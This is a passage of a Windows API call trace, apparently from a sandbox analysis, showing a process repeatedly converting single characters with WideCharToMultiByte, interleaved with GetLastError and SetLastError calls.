lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.637] GetLastError () returned 0x0 [0122.637] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.638] SetLastError (dwErrCode=0x0) [0122.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.638] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.639] GetLastError () returned 0x0 [0122.639] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.640] GetLastError () returned 0x0 [0122.640] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="!?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.641] GetLastError () returned 0x0 [0122.641] SetLastError (dwErrCode=0x0) [0122.641] 